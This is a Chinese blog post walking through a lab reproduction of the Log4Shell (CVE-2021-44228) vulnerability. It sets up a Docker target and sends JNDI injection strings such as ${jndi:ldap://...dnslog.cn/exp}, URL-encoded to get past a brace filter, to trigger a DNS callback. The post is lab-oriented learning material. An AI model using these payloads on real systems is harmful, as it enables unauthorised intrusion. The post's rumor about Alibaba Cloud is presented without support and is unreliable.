vlambda博客
学习文章列表

Log4J2系列——靶场漏洞复现


前言

        Log4J2漏洞说明:Apache Log4j2漏洞是认为是养活安全工程师的下一个漏洞。具体来说,起源于北京时间12月9号深夜,Log4j2被曝存在高危漏洞,攻击者通过jndi注入攻击的形式可以轻松远程执行任何代码。该漏洞被命名为Log4Shell,编号CVE-2021-44228,受影响的范围:Apache Log4j 2.x <= 2.15.0-rc1


番外

        据传,此漏洞由阿里云最先发现,但是第一时间并没有上报给国家安全相关部门,而是告诉了国外。因此,阿里云受到了国家相关部门的惩罚。


靶场复现环境

        靶机:CentOS


       攻击机:CentOS


靶场复现前的准备:

        在靶场复现前,靶机中需要先安装docker。此外一些网站或者帖子上提供了POC,但是这都需要基于Java,Java的版本不高于1.8,否则往往会报错。


相关命令:

1、docker pull vulfocus/log4j2-rce-2021-12-09

2、docker run -tid -p 3456:8080 vulfocus/log4j2-rce-2021-12-09

Log4J2系列——靶场漏洞复现

此时,使用浏览器,访问:  http://192.168.250.1:3456

Log4J2系列——靶场漏洞复现

画面有回显,说明靶场搭建成功。

3、测试页面,发现不管payload等于什么,都回复“OK”

Log4J2系列——靶场漏洞复现

此时,尝试使用:${jndi:ldap://ts777b.dnslog.cn/exp}。 

其中的ts777b.dnslog.cn是dns平台上的随机域名。

这里存在一个疑问,大多数帖子认为不能“GET”,需要”POST“

但是这里貌似,POST会报错,GET才行。


Log4J2系列——靶场漏洞复现

这里且用GET来实现。

4、打开DNS平台,DNSLog Platform

然后获取一个随机域名。

Log4J2系列——靶场漏洞复现

5、构造payload为${jndi:ldap://mketrp.dnslog.cn/exp}。然后采用get传参。

Log4J2系列——靶场漏洞复现

显示400,即错误的请求。

6、思考存在的问题。

(1)正常来测试,发现这里主要对{}产生过滤。

(2)将payload进行url编码。

Log4J2系列——靶场漏洞复现

这里说明,不存在长度限制,应该是有字符过滤。然后才看DNS平台,发现

此时说明已经成功了。



 接下来几天,继续深入展开对Log4j2的漏洞研究。

感谢大家关注。